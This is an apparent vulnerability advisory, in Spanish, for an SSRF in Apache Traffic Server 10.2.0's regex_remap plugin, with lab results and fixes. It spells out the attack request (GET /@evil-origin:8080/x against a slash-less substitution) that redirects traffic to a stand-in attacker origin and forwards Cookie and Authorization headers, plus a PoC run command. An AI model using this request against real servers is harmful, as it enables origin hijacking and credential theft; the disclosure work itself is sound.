
Apache Traffic Server 10.2.0 - Alta - Remoto - SSRF - regex_remap noslash $n userinfo toma de control del origen
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · ats-regex-remap-userinfo
Clase: SSRF Alcance: Remoto
Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation
La sustitución $n de regex_remap se concatena en una cadena y se pasa a TSUrlParse, que ejecuta url_clear y luego la analiza como una URL completa. Una captura que comienza con @ es userinfo según RFC 3986, por lo que el origen del operador se convierte en userinfo y el host del atacante se convierte en el origen. Cookie y Authorization se reenvían como el uid de ATS.
El resto es http://origin:port$1 (sin barra). La forma documentada http://origin/$1 permanece en el origen del operador porque la barra termina la autoridad. El plugin no se carga por defecto.
Esto no es CVE-2026-58179 (VLA de url_len, ahora LocalBuffer) ni CVE-2026-22068 (el regex_map del núcleo está totalmente anclado).
| ID | aún sin CVE |
| Clase | SSRF |
| Alcance | Remoto (HTTP no autenticado) |
| CWE | CWE-918 |
| CVSS | Alto: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Producto | Apache Traffic Server |
| Afectado | 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so $n sin barra |
| Autenticación | ninguna. Plugin cargado. Sustitución http://origin:port$1. |
| Licencia | GNU Affero GPL v3.0 |
| Laboratorio | solo 127.0.0.1:18730. Imagen ats-10.2.0-lab:local. |
Fijé la etiqueta 10.2.0, commit b1df7334b39a878971c376da849e8da4984918b6. Imagen compilada desde el código fuente.
HTTP no autenticado a un vhost cuyo remap carga regex_remap.so con $n inmediatamente después de host:port, sin barra.
| Método | Destino | Privilegio |
|---|---|---|
GET /@evil-origin:8080/x con sustitución http://good-origin:8080$1 | TSUrlParse tras url_clear (regex_remap.cc:1159-1168, URL.cc:1313-1327) | Integridad / SSRF (probado en laboratorio): ATS marca evil-origin:8080 como origen (userinfo=good-origin:8080). Cookie y Authorization se reenvían. |
| Igual | cuerpo del origen del atacante | Reconocimiento (probado en laboratorio): ATS-REGEX-REMAP-USERINFO-WITNESS devuelto al cliente. cookie-fwd=True authorization-fwd=True. |
Sustitución documentada http://good-origin:8080/$1 | la autoridad termina en / | Cerrado (probado en laboratorio): permaneció en good-origin. |
Sustitución http://$1 | el operador colocó $n en la autoridad | SSRF (probado en laboratorio): también alcanzó evil-origin. Error de operador distinto. |
Probado en laboratorio vs inferido: resto sin barra, la forma documentada con barra permanece, dollar-at / dollar-host también evil, Cookie y Authorization reenviados, control /ok en good-origin: laboratorio. Lo que el origen del atacante pueda hacer con esas cabeceras es lo que ese host ya es.
Requiere: plugin regex_remap. Mapa con sustitución http://origin:port$1 (sin barra). remap_required permaneció en 1 (no es un relay abierto).
| Superficie | Laboratorio |
|---|---|
Forma documentada http://origin/$1 | slash=good |
Host de regex_map del núcleo | RE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 cerrado) |
| Pila de url_len | LocalBuffer (CVE-2026-58179 cerrado) |
Relay abierto con remap_required: 0 | no usado |
CONTROL GET /ok | good-origin, sin witness |
regex_remap construye una cadena de destino a partir de $n y llama a TSUrlParse sobre el conjunto. En URL.cc, @ es userinfo. Concatena http://good-origin:8080 + @evil-origin:8080/x y el parser hace exactamente lo que dice RFC 3986.
Primero probé la forma documentada. http://good-origin:8080/$1 con la ruta /@evil-origin:8080/x se convierte en http://good-origin:8080/@evil-origin:8080/x. La barra termina la autoridad. Se quedó en good-origin. Ese no es el residuo.
Luego http://good-origin:8080$1 (sin barra). Destino http://good-origin:8080@evil-origin:8080/x. userinfo=good-origin:8080 host=evil-origin. Testigo en el origen malicioso. Cookie y Authorization viajaron con la petición.
Caminos equivocados: archivar la forma documentada con barra; tratar el core regex_map como este plugin; inflar la VLA url_len (parcheada); tratar http://$1 como el único residuo (es un segundo error de operador, no el de la ausencia de barra).
Teatro: una reverse shell. El oráculo es un cuerpo de origen más Cookie / Authorization reenviados.
python3 ats-regex-remap-userinfo-Abraxas-Labs.py
o
cd lab
./run.sh
Loopback 127.0.0.1:18730 (el origen malicioso también publicado en 18731). Proyecto de Compose ats-regex-remap-userinfo. Imagen ats-10.2.0-lab:local. Tres vhosts: slash / noslash / dollar. Testigo ATS-REGEX-REMAP-USERINFO-WITNESS. Última línea:
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS
No concatenes $n en la autoridad. Mantén una barra entre el host y la captura, o analiza la sustitución como solo ruta. Rechaza un destino cuyo host no sea el origen del operador. Elimina la información de usuario de las URL construidas por el plugin. La documentación debería dejar de implicar que http://origin/$1 es la única forma que escriben los operadores.
b1df7334b39a878971c376da849e8da4984918b6)regex_remap.cc TSUrlParse después de la sustituciónURL.cc @ información de usuarioInkAPI.cc TSUrlParse